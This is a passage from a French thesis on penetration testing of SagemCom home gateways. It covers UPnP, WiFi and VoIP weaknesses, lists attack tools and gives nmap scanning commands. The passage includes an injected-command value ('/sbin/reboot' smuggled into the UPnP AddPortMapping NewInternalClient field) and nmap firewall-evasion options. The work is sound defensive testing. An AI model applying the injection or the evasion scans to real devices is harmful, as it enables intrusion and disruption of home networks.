Metasploit Framework, un outil pour le développement et l'exécution d'exploits contre une machine distante. Les autres sous-projets importants sont la base de données d'Opcode 8, l'archive de shellcode, et la recherche dans la sécurité.

1.3.2. Autres types d’attaques
Craquage des mots de passe :
Les attaques dont on va parler dans cette section, sont liées aux consoles d’administration à distance offert par le TR. Toujours, en se basant sur les résultats des autres scans on peut déterminer les types de ces consoles (Telnet, SSH). L’attaque la plus connu est l’attaque brute force ou attaque par dictionnaire pour tenter plusieurs combinaisons de mots de passe. Plusieurs outils disponibles sont dédies à ces types d’attaque. Parmi eux, on peut citer les plus connus dans le monde du libre ; Cain & Abel, John the Ripper, Ophcrack et Hydra.

8

Opcode : numéro qui précède chaque instruction afin de déterminer sa nature. (Ex : pour l’architecture x86, l’Opcode 0x6A correspond à l’instruction PUSH.

Page 33

Chapitre 3 Attaque DDOS:

Etude de vulnérabilités des Terminaux Résidentiels

Ce sont les attaques qui provoquent l’arrêt total ou partiel d’un service ou d’un système pendant un certain temps. Le hacker envoi plusieurs paquets TCP sans prendre en considération les réponses reçues du serveur. Ce dernier, pour chaque requête reçue, il alloue quelques ressources (Mémoire, Temps processeur, …). Après certain temps, le serveur sera hors service due à la surcharge des ressources. [35]

2. Module UPnP
2.1. Présentation

Le terme UPnP (Universal Plug and Play) dérivé de Plug and Play ou «on branche et ça marche» désigne une technologie pour attacher dynamiquement les périphériques à l'ordinateur. De ce fait, UPnP reprend les concepts de PnP pour les étendre à tout le réseau, facilitant la recherche, la découverte et la communication entre différents équipements connectés au réseau local. En effet, cette technologie a été promulguée en 1999 par l’UPnP Consortium, démarré par Microsoft. Le Forum UPnP comporte au mois de décembre 2009 plus de 894 fournisseurs y compris des leaders de l‘industrie spécialisés dans le domaine informatique, réseau, systèmes électroniques, domotique, technologies mobiles, etc. UPnP est un protocole qui vise à simplifier le déploiement des différents équipements à savoir les ordinateurs, les équipements électroniques et les équipements mobiles sur le réseau domestique et assurer leur interopérabilité. Pour ce faire, UPnP utilise TCP/IP et d'autres protocoles IP afin de gérer des éléments de proximité et exécuter des commandes à distance, etc.

Fonctionnement
Le protocole UPnP comporte six phases fondamentales citées ci-dessous. Ces phases permettent à un périphérique de s‘intégrer dans le réseau et de communiquer avec les autres périphériques. En effet, un périphérique UPnP doit passer tout d‘abord par les phases d‘adressage, de découverte et de description. Une fois la phase de description achevée, le périphérique UPnP entre dans les phases de contrôle, de notification et de présentation. Ces trois dernières phases qui sont indépendantes chronologiquement permettent aux différents équipements UPnP d‘exploiter les services offerts par les périphériques.

Profile UPnP
Un profil est un ensemble de paramètres et d’actions qui peuvent former un modèle de fonctionnement cohérent. Les profiles les plus connues sont :

Page 34

Chapitre 3
  Internet Gateway Device (IGD). Audio/Video (A/V), basis for DLNA.

Etude de vulnérabilités des Terminaux Résidentiels

Plusieurs profils UPnP contiennent des sous profils. Chaque sous profil inclut des actions et attribues. Ci-dessous un graphe qui présente l’hiérarchie des profils les plus utilisés ainsi que les principales actions dédiées à chacun d’eux. [16]

Figure 15 Principaux profils UPnP et actions

2.2.

Risques et vulnérabilités

Les attaques UPnP visent la vulnérabilité du protocole qui n’exige aucune authentification avant l’exécution de quelques actions. Si l’UPnP est activé, un utilisateur malveillant connecté sur le réseau peut lancer des commandes malveillantes en utilisant quelques outils simples et à la portée de tout le monde. (exemple : action « ForceTermination() » du profile « WANIPConnection » coupe la connexion vers le réseau WAN). La défaillance majeure est dans l’action « AddPortMapping », plusieurs attaques peuvent être réalisées en se basant sur cette action, exactement sur l’attribut « NewInternelClient ». AddPortMapping permet au client UPnP d’ajouter des règles dans le TR afin d’acheminer le trafic désiré vers une destination qui est souvent l’adresse IP du client. Un utilisateur malveillant peut l’utiliser afin de réaliser ces attaques :  Redirection du trafic vers une autre machine sur le réseau : cette approche consiste à rediriger un trafic indésirable arrivant s ur un port X vers une autre adresse bien spécifique.

Page 35

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Figure 16 Redirection vers une autre adresse locale

Redirection du trafic vers l’adresse local du TR : une telle opération permet à un attaquant de réaliser des attaques sur les services offert en local par le TR (ex : interface web).

Figure 17 Redirection vers l'adresse locale du TR

Page 36

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Redirection du trafic vers une adresse IP routable (WAN) : cette opération permet de réaliser des attaques à travers le TR.

Figure 18 Redirection vers une autre adresse WAN

Une autre attaque possible est l’exécution d’un code Shell sur les TRs basés sur Linux. Au lieu d’une vraie adresse IP, l’attaquant peut insérer un bout de code dans l’attribue «AddPortMapping » qui va être exécuté au sein du TR. Cette injection du code est très limitée et elle ne doit pas dépasser la taille d’une adresse IP (15 caractères). On peut redémarrer le TR par une action «AddPortMapping» dont l’attribue « NewInternalClient = "‘/sbin/reboot‘" ».

2.3.

Outils

Pour tester les services UPnP, il nous faut quelques outils de tests dont on cite :   Sniffeur UPnP : pour capturer le trafic UPnP sur le réseau. Point de contrôle UPnP : pour détecter les périphériques UPnP et utiliser les actions qu’ils fournissent. « Intel Tools for UPnP Technologie » est un ensemble complet d’outils dédié pour les systèmes d’exploitation Windows permettant de tester l’UPnP. Il inclut les outils suivants :    Intel Device Spy. Intel AV Media Controller. Intel Device Sniffer.

Page 37

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Dans le monde du libre, on trouve un outil similaire à « Intel Tools ». « GUPnP » et « UPnP Inspector ». Ces outils offrent une interface graphique et assure la découverte des périphériques UPnP et le test les différentes actions possibles.

3. Module WIFI
3.1. Présentation

Comme il est indiqué dans le premier chapitre, Les TRs SagemCom offrent la possibilité d’interconnecter les périphériques sans fil via le WIFI. L’émission des ondes radio ne peut pas être limitée dans un périmètre restreint pour éviter l’interception indésirable des données par un tiers. Plusieurs techniques et approches sont mises en place pour assurer la protection des communications entre les différents équipements d’un même réseau :  Chiffrement des données : les deux techniques connues sont WEP et WPA. o Le WEP, Wired Equivalent Privacy est un protocole permettant de sécuriser les réseaux sans fil de type Wifi. Ces réseaux diffusant les messages échangés par ondes radioélectriques, sont particulièrement sensibles aux écoutes clandestines. Le WEP tient son nom du fait qu'il devait fournir aux réseaux sans fil une confidentialité comparable à celle d'un réseau local filaire classique. Cependant, plusieurs vulnérabilités ont été identifiées dans ce protocole, qui lui rend pratiquement inutilisable aujourd’hui. o Le WPA, Wi-Fi Protected Access est un mécanisme permettant aussi de sécuriser les réseaux sans fil de type Wifi. Il a été créé en réponse aux nombreuses et sévères faiblesses que des chercheurs ont trouvées dans le mécanisme précédent, le WEP. Il présente deux modes à savoir :  WPA personnel (WPA-Personal) : connu également sous le nom de mode à secret partagé ou WPA-PSK (Pre-shared key). Chaque équipement du réseau sans fil s'authentifie auprès du point d'accès en utilisant la même clé sur 256 bits.  WPA entreprise (WPA-Enterprise) : connu également sous le nom de mode WPA-802.1X ou WPA-EAP, WPA entreprise est conçu pour les réseaux d'entreprise et demande à ce que l'on utilise un serveur d'authentification RADIUS.  Filtrage MAC : cette méthode peut être combinée avec le chiffrement des données transmises afin d’ajouter un niveau de sécurité définissant la liste des équipements autorisés par adresse MAC.

Page 38

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Autre méthodes et pratiques comme le changement des paramètres par défaut, (exemple : clé wifi fournit par défaut de fournisseur, l’adresse réseau par défaut, …)

3.2.

Risques et vulnérabilités

Les risques liés à la mauvaise sécurisation des réseaux sans fil sont [17]:     L'interception de données qui consiste à écouter les transmissions des différents utilisateurs du réseau sans fil. Le détournement de connexion qui a comme but l’obtention d'accès à un réseau local ou à internet. Le brouillage des transmissions qui consiste à émettre des signaux radio de telle manière à produire des interférences. Les dénis de service qui rend le réseau inutilisable en envoyant des commandes factices.

Craquage de clé chiffrement
Plusieurs méthodes peuvent être utiles pour effectuer cette attaque. Avec un réseau sans fil protégé par une clé WEP, un utilisateur peut le craquer facilement puisque le cryptage WEP utilise le chiffrement « RC49 » et le vecteur d’initialisation « IV » qui est transmit en claire sur le réseau. Ces deux composants rendent le protocole WEP sensible à une attaque par clé apparentée 10. La durée de cette attaque varie en fonction du taux des données transférées. Pour le WPA/WPA2 ce type d’attaque est presque impossible. Dans le mode « Pre Shared Key » (WPA/WPA2 Personnel), la phrase de chiffrement peut contenir de 8 à 63 caractères ASCII. En plus de ça le WPA utilise le protocole de chiffrement TKIP11 qui sert à changer la clé de chiffrement dynamiquement (WPA2 utilise CCMP12). Pour craquer la clé, il faut utiliser une attaque dictionnaire. Le sniffer doit détecter la phase d’authentification d’un client (the Four-Way Handshake13). Si la vraie clé n’existe pas dans le dictionnaire, il est impossible de la craquer.

9

RC4 : RC4 est un algorithme de chiffrement à flot conçu en 1987 par Ronald Rivest, l'un des inventeurs du RSA, pour les Laboratoires RSA. Il est supporté par différentes normes, par exemple dans SSL ou encore WEP. 10 Attaque par clé apparentée : Une attaque par clé apparentée est une forme de cryptanalyse où l'adversaire peut observer les opérations d'un algorithme de chiffrement lorsqu'il est utilisé avec différentes clés, aux valeurs inconnues, mais qui sont liées entre elles par des propriétés mathématiques connues de l'attaquant. 11 TKIP : (Temporal Key Integrity Protocol) est un protocole de communication utilisé pour la protection et l'authentification des données transitant sur un réseau Wifi. 12 CCMP : (Counter-Mode/CBC-Mac protocol) est une méthode de chiffrement définie dans le standard IEEE 802.11i. 13 Four-Way Handshake : Phase d’authentification dans le WPA2, elle consiste à la dérivation et à l'échange des clefs unicast/multicast à partir de la clef PMK (Pairwise Master Key).

Page 39

Chapitre 3 Autre attaque

Etude de vulnérabilités des Terminaux Résidentiels

Les clés WIFI par défaut sont générées par le constructeur. Elles sont généralement générées à partir du SSID et l’adresse MAC du TR. Certain pirate informatique ont réussit à déterminer l’algorithme pour générer la clé.

3.3.

Outils

Il existe une gamme d’outils complète pour tester la sécurité du réseau WIFI. Aircrack propose un ensemble d’outils permettant principalement l’audit de la sécurité du WIFI ainsi que plein d’autres fonctionnalités comme l’injection des paquets, snif du réseau, craquage de clés de chiffrement, etc. La suite AirCrack-NG contient les outils suivants :        aircrack-ng : casseur de clés WEP statiques et WPA-PSK (Nouveau type de casseur: PTW14) airdecap-ng : décrypteur de fichiers WEP/WPA capturés airdriver-ng : permet de patcher les drivers, par exemple pour le cas du rtl8187 15, qui est utile pour faire l'injection de paquet aireplay-ng : programme d'injection de paquets 802.11 (disponible sous Linux et FreeBSD seulement) airmon-ng : permet d'activer/désactiver le mode moniteur d'une carte wifi. Avec ce mode la carte wifi se place en "observateur" du réseau. airodump-ng : programme de capture de paquets 802.11. airolib-ng : utile pour le bruteforce de clef WPA. Il permet de créer une base de données contenant vos fichiers dictionnaire pour un ou plusieurs SSID. Le crack est très rapide avec cette méthode, cependant la création de la base de données est couteuse en terme de temps.      airserv-ng : permet de lancer une machine avec une interface en mode moniteur, et l'utiliser depuis une autre machine avec la suite aircrack-ng, en spécifiant l'adresse IP et le port. airtun-ng : programme pour la création d'une interface virtuelle. easside-ng : permet de communiquer à un point d'accès en WEP sans connaître la clé. packetforge-ng : permet de forger des paquets ARP, UDP, ICMP ou personnalisés. wesside-ng : Crack automatiquement une clef WEP en essayant toutes les attaques.

14 15

PTW : Amélioration de l’ancienne méthode de craquage de clé WEP, développé par Aircrack. rtl8187 : Pilotes pour les cartes réseaux Wifi sous Linux.

Page 40

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

4. Module VoIP
4.1. Présentation

La Voix sur IP ou téléphonie IP permet la transmission de la voix dans le réseau IP. Par VoIP, nous désignons aussi téléphonie par Internet. Parmi ses mécanismes on peut distinguer deux catégories   Systèmes fermés / propriétaires Systèmes ouverts / libres. Dans la première catégorie, nous trouvons par exemple le logiciel de la téléphonie applicative Skype ou Messenger. La seconde catégorie englobe les protocoles ouverts basés sur SIP, H.323 et IAX2. Avec la voix sur IP, les appels téléphoniques sont effectués par l‘intermédiaire de la connexion Internet. Pour ce faire, cette technologie convertit les signaux analogiques de la voix en signaux numériques; elle les découpe, les compresse, les code, les numérise, puis envoie ces «paquets » dans le réseau internet. La course à la réduction des coûts d’une entreprise implique bien souvent la migration du service de téléphonie vers la Voix sur IP. Ce choix séduit par le retour sur investissements des communications. Cependant de nombreux paramètres sont bien souvent oubliés ou ignorés. Avant de franchir le pas, il est nécessaire d’étudier les nouvelles contraintes engendrées. Mis à part la surcharge du réseau de l’entreprise et la migration de nombreux équipements, la confidentialité des communications et l’efficacité des plans de secours sont remis en cause. La convergence numérique va introduire de nouveaux services et par conséquent, de nouvelles vulnérabilités et de nouveaux vecteurs d’attaques. [18]

4.2.
protocoles :  

Protocole VoIP

Avec l’évolution du VoIP, plusieurs protocoles et standards ont apparu. Il y a deux types de

Protocoles de signalisations : Protocoles de transmission de voix :

Dans ce qui suit on va présenter le protocole SIP qui est utilisé par les TRs SagemCom. SIP est un protocole de signalisation appartenant à la couche application du modèle OSI. Son rôle est d'ouvrir, modifier et libérer les sessions. L'ouverture de ces sessions permet de réaliser de l'audio ou vidéoconférence, de l'enseignement à distance, de la voix (téléphonie) et de la diffusion multimédia sur IP essentiellement. [19]

Page 41

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Le protocole SIP utilise le port 5060 TCP ou UDP pour la signalisation et le port 5061 TCP ou UDP pour la signalisation crypté de la voix. Le SIP intervient dans les différentes phases de communication entre deux entités :       Localisation du terminal correspondant. Analyse du profil et des ressources du destinataire. Négociation du type de média (voix, vidéo, données...) et des paramètres de communication, Disponibilité du correspondant, détermine si le poste appelé souhaite communiquer, et autorise l'appelant à le contacter. Etablissement et suivi de l'appel, avertit les parties appelant et appelé de la demande d'ouverture de session, gestion du transfert et de la fermeture des appels. Gestion de fonctions évoluées : cryptage, retour d'erreurs, ... Les communications SIP se font à l’intermédiaire des requêtes, à chaque requête reçue une réponse est envoyée caractérisée par un code et un motif. Ci-dessous un tableau descriptif des différentes requêtes et réponses.
Requêtes Cancel Register Ack Invite Bye Options Notify Refer Prack Info Message Subscribe Update Description Annulation d'une requête en cours. Méthode d'enregistrement permettant à un agent (UA-User Agent) de communiquer son adresse IP et l'URL où le joindre. Méthode servant à accuser la réception d'autres requêtes. Méthode utilisée pour établir des sessions de communication entre agents. Terminaison d'une session de communication entre agents. Requête permettant d'obtenir les informations relatives aux capacités d'un correspondant, sans pour autant établir d'appel. Requête de notification d'un évènement consécutif à une requête d'abonnement Requête de redirection d'un appel vers un autre agent Requête de sécurisation des réponses provisoires Requête d'information sur la session en cours Requête d'envoi de messages instantanés Requête d'abonnement aux évènements d'un autre agent identifié par son URI Requête de modification d'une session en cours d'établissement
Tableau 7 Requêtes SIP

Réponses Provisional (1xx) Success (2xx) Redirection (3xx) Client Error (4xx) Server Error (5xx) Global Failure (6xx)

Description Requêtes reçues et en cours de traitement La requête a été bien reçue, comprise et acceptée D'autres actions sont nécessaires (par le demandeur) pour mener à bien la requête La requête comprend des erreurs et ne peut être traitée en l'état Le serveur a échoué dans le traitement d'une requête à priori valide La requête ne peut pas être traitée par aucun serveur
Tableau 8 Codes de réponses SIP

Page 42

Chapitre 3 Syntaxe SIP :

Etude de vulnérabilités des Terminaux Résidentiels

Similaire au http, le protocole SIP utilise le mode requête/réponse. Il indique la méthode suivie de l’identifient (URI). La fin de la ligne est réservée à la version du SIP.
INVITE sip:201@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.102;rport;branch=z9hG4bKvbxaoqar Max-Forwards: 70 To: 201@192.168.1.104

Appel entre deux entitéss :
     l’appelant INVITE. L’appelé L’appelé retourne retourne une réponse envoie une requête

TRYING-100. une réponse

RINGRING-180 pour la tonalité. L’appelé retourne une réponse OK200. L’appelant envoi une réponse ACK et  la conversation l’appelant commence. accroche le (RTP16 DATA) Quand

téléphone une requête BYE est envoyée.  L’appelé retourne une réponse OK.
Figure 19 Exemple d'appel

4.3.

Risques et vulnérabilités

Malgré les avantages du VoIP, la migration vers une telle technologie a des inconvénients majeurs. L’utilisation de cette technologie sur le réseau présente des risques majeurs qui touchent à plusieurs axes [20].

Attaque physique
L’implémentation da la norme 802.3af17 ne présente pas que d’avantage car l’exposition des équipements à la porté des utilisateurs malveillants ou à leur interface d’administration peuvent

16

RTP : Real-Time Transport Protocol, est un protocole de communication informatique se positionnant au niveau 4 (Couche transport) du Modèle OSI. RTP utilisé avantageusement sur un réseau temps réel. 17 802.3af : Le Power over Ethernet (ou norme IEEE 802.3af) permet de faire passer une tension de 48 V (jusqu'à 12 W de puissance voire plus) en plus des données à 100 Mbit/s ou 1 Gbit/s.

Page 43

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

provoquer des dégâts énormes qui peuvent aller d’un simple déni de service via la coupure d’alimentation jusqu’à la dégradation de la qualité de service pour tous les équipements.

Attaque réseau
Le réseau VoIP utilise la même infrastructure que le réseau DATA, ce qui lui rend exposé aux mêmes problèmes. Ci-dessous, on cite quelque risque :  Malgré que la téléphonie ne nécessite qu’une bande passante réduite, elle requiert un débit constant. Ce qui lui rend sensible à des attaques de type déni de service ou de congestion du réseau. Ces types d’attaques peuvent être réalisés en forgeant des paquets malicieux dans le réseau.  L’écoute passive du réseau qui peut être un point critique car elle touche à la confidentialité des communications. Cette attaque permet à un pirate de récupérer des informations confidentielles (par exemple numéro du compte bancaire).  Il y a d’autres attaques sur les protocoles VoIP. Comme le spoofing SIP qui sert à usurper l’identité d’un utilisateur afin de réaliser des appels gratuits ou envoyer des messages bien spécifiques pour perturber les communications établies.

Attaque applicative
Les risques peuvent dépasser le périmètre du réseau pour toucher l’aspect applicatif. Les logiciels utilisés pour le VoIP peuvent être une cible pour les pirates afin de gagner l’accès au serveur qu’il les héberge.

4.4.

Outils

Vu que le VoIP est la tendance actuelle dans le monde de la téléphonie, plusieurs organisations se sont occupées de la sécurité de ce type de service. On cite par exemple VOIPSA (Voice over IP Security Alliance) qui essaye de remplir le vide dans ce domaine. Une étude a été effectuée par VOIPSA dans le but de dégager une liste complète des outils nécessaires pour tester la sécurité du VoIP. Dans ce qui suit on va citer quelques outils classifié par catégorie :  Sniffing tools : cette catégorie inclut les outils qui servent à capturer et analyser le trafic afin de déterminer les conversations VoIP actives sur le réseau. (Wireshark, PSIPDump, VoIPong, UCSniff, rtpBreak, etc)  Scanning and Enumeration tools : cette catégorie inclut les outils nécessaires pour déterminer l’exsitance du service VoIP, numéro du port, liste des login et utilisateurs, … (Nessus, nmap, enumIAX, iaxscan, SIPSCAN, SCTPScan, etc)  Flooding tools : cette catégorie inclut les générateurs des paquets et du trafic afin du perturber les connexions actives et empecher les nouvelles demandes de connexion. (IAXFlooder, INVITEFlooder, kphone-ddos, RTP Flooder, Scapy, etc)

Page 44

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Fuzzing tools : cette catégorie inclut les outils qui servent à générer des paquets VoIP (SIP ou autre protocole) malformés pour tester le service VoIP (Fuzzy packet, InterState Fuzzer, Protos, Sip Proxy, VoIPer, etc)

Signaling attacking tools : cette catégorie inclut les outils qui permettent de manipuler la signalisation entre deux entités ; toutes les attaques liés aux protocoles de signalisation. (Bye Teardown, VoIPHopper, vnak, etc)

Media attacking tools : cette catégorie inclut les outils qui permettent de manipuler la les données transférées lors d’une communication entre deux entités ; toutes les attaques liés aux protocoles de media (transfert de la voix, etc. (RTP InsertSound, RTPInject, SteganRTP, etc)

La plupart des outils cités ci-dessus sont présents dans Backtrack.

Conclusion
Dans ce troisième chapitre, pilier central de notre étude, on a pu présenter les différents modules du TR, les risques qui peuvent les menacer et les outils possibles pour tester leur sécurité. Cette approche modulaire, entre dans le cadre de la stratégie adoptée afin de couvrir convenablement la question de la sécurité des passerelles résidentielles ; approche, qui nous permettra, en plus d’effectuer des tests de pénétration modulaires, de pouvoir bénéficier de la possibilité de réutiliser certains concepts issus d’un module sur un autre. Le chapitre suivant, explicitera alors, les attaques qu’on va réaliser et les scénarios qu’on va adopter pour dégager le plan de test final essentiel à la mise à l’épreuve sécuritaire des passerelles.

Page 45

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Maintenant que nous avons présenté les différents modules d’un terminal SagemCom, en spécifiant les risques et les défaillances qui peuvent le menacer, il ne reste qu’à mettre en place une plateforme de tests ainsi qu’un plan de tests pour couvrir les scénarios envisageables et toucher à toutes les fonctionnalités de la passerelle (accès réseau, WiFi, UPnP, VoIP, IHM, etc). Dans ce chapitre, nous commencerons par la présentation de l’environnement de test ; OS, architecture, équipements, etc. Ensuite, nous allons suivre la démarche modulaire, établie au chapitre précédent, pour définir et mettre en place les scénarios de tests de sécurité possibles pour chaque module étudié. Nous terminerons par un tableau récapitulatif des différents cas de tests mis en œuvre (Voir Annexe 1 et Annexe 2).

Page 46

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

1. Environnement de test
1.1. Environnement matériel

Avant d’entamer les tests, il faut d’abord préparer la plateforme nécessaire. Dans l’ensemble des tests nous avons besoin de ces équipements:  Des PCs. o o     Pour certains tests de stress on a besoin de plus qu’une machine. Pour certains outils qui nécessitent une configuration matérielle précise.

Un TR SagemCom fonctionnel sur lequel les services à tester doivent être activés. Des téléphones IP. Cartes réseaux Wifi. Connexion et accès WAN et LAN.

Dans les tests à réaliser nous avons besoin de différents systèmes d’exploitation. Il existe certains outils qui nécessitent un système bien défini18 (Linux, Windows, etc).

1.2.

Environnement logiciel

1.2.1. Les systèmes d’exploitation dédiés sécurité
Sur le marché on trouve plusieurs systèmes d’exploitations orientés sécurité, ils servent à regrouper le plus grand nombre d’outils de sécurité dans un seul système pour simplifier la tâche des experts sécurité et leurs faire gagner du temps dans l’installation et la configuration des outils. La plupart de ces systèmes sont des distributions Linux personnalisées. Ci-dessous, la liste des distributions les plus connues :       Matriux BlackUbuntu Ubuntutrinux Vacarm Linux Samurai Web Testing Framework BackTrack La plupart de ces distributions se ressemblent (sauf pour Samurai spécialisé dans la sécurité des applications web).

18

On peut utiliser des applications Windows sur un système linux et vice-versa avec l’utilisation des logiciels comme Wine sur Linux et CygWin sur Windows.

Page 47

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

1.2.2. Choix du système d’exploitation le plus adéquat
Le seul critère de choix est la popularité et le nombre d’utilisateurs dans le monde. Les développeurs de BackTrack ont réussi à faire de cette distribution la plus connue dans le domaine du pentesting à l’aide de la communauté (anglaise, française, italienne, allemande, espagnole et brésilienne) et la mise en place de plusieurs certifications dans les différents domaine de la sécurité informatique en se basant sur leur produit 19. Dans ce qui suit, nous présentons la distribution linux « BackTrack » et l’architecture réseau de la plateforme de test.

Figure 20 Logo BackTrack

BackTrack est une distribution linux orientée sécurité, son but est de regrouper les outils nécessaires et utiles pour tester la sécurité d’un système réseau. Basé sur Slackware jusqu’à la version 3 et Ubuntu dans les versions ultérieures et margé sa richesse en terme d’outils, BackTrack offre un environnement très extensible et personnalisable ; installation de nos propres outils si nécessaire, l’ajout d’autre outils, configuration et personnalisation des outils, etc. La version actuelle de BackTrack est « BackTrack 5 R1 » sortie le 11 août 2011 et basée sur « Ubuntu 10.04 ». Les outils de tests sont classés par catégorie (Voir figure 21); collecte d’informations, évaluation des vulnérabilités, outils d’exploitation, investigations, etc. Sous chaque catégorie, les outils sont classés par le type des cibles (architecture réseau, système, base de données, serveur web, applications, etc) [21].

19

Offensive Security offre plusieurs certifications OSCP (Offensive Security Certified Professional), OSCE (Offensive Security Certified Expert) et OSWP (Offensive Security Wireless Professional).

Page 48

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Figure 21 Menu BackTrack

1.3.

Architecture réseau de la plateforme de tests

L’architecture réseau de la plateforme de test en général est composée d’un client WIFI (PC équipé d’un dongle WIFI), un TR et un téléphone IP. Pour la connectivité, nous avons besoin d’une connexion internet afin de réaliser des tests depuis le LAN et le WAN.

Figure 22 Architecture réseau de la plateforme de test

Page 49

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

L’architecture présentée ci-dessus est très générique. Certains scénarios nécessitent une architecture bien précise tels que : - Dans le cas des tests de stress, nous avons généralement besoin de plusieurs PCs. - Dans le cas des tests VoIP, nous avons besoin d’une communication active entre deux téléphones IP. Dans ce qui suit, nous définissons les différents tests possibles à réaliser en suivant la même démarche du chapitre précédent. Pour chaque module étudié nous commençons par la définition des différents tests possibles à réaliser. Par la suite, chaque test sera accompagné d’une description de son objectif, des outils nécessaires et des étapes de son déroulement.

2. Module réseau
2.1. Scan des ports, services et OS

Dans le chapitre précédent, nous avons parlé des différents types de scan des ports et nous avons listé quelques outils nécessaires pour le déroulement des tests. Ci-dessous la liste des tests à réaliser pour ce sous module :    Test1 : scan des ports (connaitre l’état des ports) Test2 : scan des services (connaitre les noms de services et leur versions) Test3 : détection d’OS (détecter le système d’exploitations des TRs)

2.1.1. Outils de tests
L’outil le plus adéquat dans notre cas est « Nmap ». Ce dernier permet la réalisation des différents types de scan des ports et assure la détection de services et d’OS. Un autre avantage du nmap est la possibilité de créer des scripts personnalisés afin d’automatiser des tâches, par exemple script de détection et exploitation des vulnérabilités, détection des versions, etc. Afin de simplifier la tâche et de fournir des résultats clairs, nous utilisons « Zenmap », l’interface graphique du « nmap ». Il fournit plusieurs profils prédéfinis de scan où chaque profil est caractérisé par une commande nmap et une suite d’options permettant la réalisation d’un type de scan spécifique. Sinon il est possible de créer un nouveau profil (Voir figure 23). découverte du réseau, amélioration de la

Page 50

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Figure 23 Profil Zenmap

2.1.2. Tests réalisés
Test1 : scan des ports
Vu le grand nombre des services et de fonctionnalités offertes par les TRs SagemCom, un grand nombre de ports doit être ouvert pour assurer le bon fonctionnement de ces services. Le test a pour but de:     Vérifier si la spécification du client est bien respectée ou pas. Certains clients demandent une configuration bien précise concernant l’ouverture et la fermeture de ports. Vérifier si les ports ouverts pour des besoins lors de la validation du produit sont de nouveau fermés ou non. Déterminer les ports ouverts pour la phase « collecte d’information » du pentesting. Déterminer l’état du pare-feu et son fonctionnement. Dans la partie suivante, nous présentons les différents scénarios et scans [12].

Scénario 1 : TCP Scan
Ce type de scan est à éviter car il est facilement détectable par le pare-feu s’il existe et laisse une trace dans les logs du TR. Vu que nous somme dans la phase de test et validation, il faut bien vérifier que le firewall est bien configuré. Avec nmap il faut utiliser la commande suivante :
nmap -p 1-65535 -sT -T4 -v 192.168.1.1

  

-p : les ports à scanner. -T4 : vitesse de scan [22]. -v : mode verbeuse qui affiche en temps réel l’exécution de scan et génère plus d’information.

Page 51

Chapitre 4 Remarque :

Mise en place d’une solution de tests de sécurité des TRs

Nous pouvons choisir un ou plusieurs ports mais dans notre cas il est préférable de tester tous les ports car le TR peut utiliser des ports non standards pour certains services bien spécifiques. Sous nmap plusieurs options entrent en jeu dans la configuration de la vitesse du scan (exemple : --max-rtt-timeout --initial-rtt-timeout --max-retries), l’option -T simplifie cette tâche en offrant plusieurs mode de scan. L’option « -Tx » avec x peut varier de 0 à 5 :
o o o o

Paranoid (0) : Envoi d'un paquet toutes les 5 minutes. Sneaky (1) : Envoi d'un paquet toutes les 15 secondes. Polite (2) : Envoi d'un paquet toutes les 0.4 secondes. Normal (3) : Niveau par défaut. Optimise la durée du scan en en minimisant sa durée sans perte de paquet.

o

Aggressive (4) : Attente d'une réponse pendant un maximum de 1.25 secondes au maximum.

o

Insane (5) : Attente d'une réponse pendant un maximum de 0.3 secondes.

Scénario 2 : Syn Scan
Connu aussi par le nom de « stealth Scan », ce scénario a pour but principal de déterminer l’état des ports dans la cible. Le but de ce scénario est de lister les ports ouverts.
nmap -p 1-65535 -sS -T4 -v 192.168.1.1

 

-sS : Syn scan

Remarque :
Le Syn Scan est caractérisé par sa vitesse puisqu’il peut balayer des milliers de ports par seconde.

Scénario 3 : UDP Scan
Les deux autres scans sont destinés pour vérifier l’état des ports en mode TCP, l’UDP est nécessaires pour savoir s’il y a des services qui utilisent le protocole UDP.
nmap -p 1-65535 -sU -T4 -v 192.168.1.1

 

sU : UDP Scan.

Remarque
le scan UDP est très lent par rapport au SYN Scan. Pour un réseau local il peut dépasser les deux heures. Si les scans listés ci-dessus n’aboutissent pas à des résultats clairs, autrement dit le pare-feu utilisé par les TRs SagemCom résiste à ces types des scans, nous pouvons alors penser à utiliser autre type de scan pour vérifier si le port en question est filtré ou pas comme :

Page 52

Chapitre 4
 ACK Scan :

Mise en place d’une solution de tests de sécurité des TRs

nmap -p 1-65535 -sA -T4 -v 192.168.1.1

X-mas Scan :

nmap -p 1-65535 -sX -T4 -v 192.168.1.1

FIN Scan :

nmap -p 1-65535 -sF -T4 -v 192.168.1.1

Null Scan :

nmap -p 1-65535 -sN -T4 -v 192.168.1.1

Remarque :
 Dans les manipulations réalisées, nous choisissons de faire les scans sur tous les ports afin de déterminer : o o  Si un ou plusieurs ports sont ouverts sans besoin. Si un service ou plusieurs services connus tournent sur un port non standard.

Nous pouvons minimiser le temps de scan en spécifiant les numéros des ports à scanner, ce type du scénario est conseillé pour le UDP Scan vu qu’il est le plus lent des scans. Nous pouvons fixer les numéros des ports ou utiliser Nmap par défaut 20.

nmap -p 20,21,53,67,80,443 -sS -T4 -v 192.168.1.1

Scénario 4 : technique d’évasion
Nous pouvons utiliser plusieurs techniques d’évasions dont nous citons quelques une :  Utilisation des ports source autorisés car certains pare-feu bloquent les requêtes à partir des ports non autorisés:
nmap -g 20 -p 20,21 -sS -T4 -v 192.168.1.1

-g : le numéro du port source (exemple : 5060 pour le protocole SIP)  Fragmentation des paquets 21:

nmap -g 20 -f 5 -p 20,21 -sS -T4 -v 192.168.1.1

-f : définir le nombre de fragments à envoyer. Nous pouvons utiliser l’option « --mtu » pour définir le taille des paquets.
20 21

Nmap scan 1000 ports des services les plus connues si les ports destination ne sont pas spécifiés. Certain pare-feu et système de détection d’intrusion (IDS) ne peuvent pas détecter les paquets fragmentés

Page 53

Chapitre 4

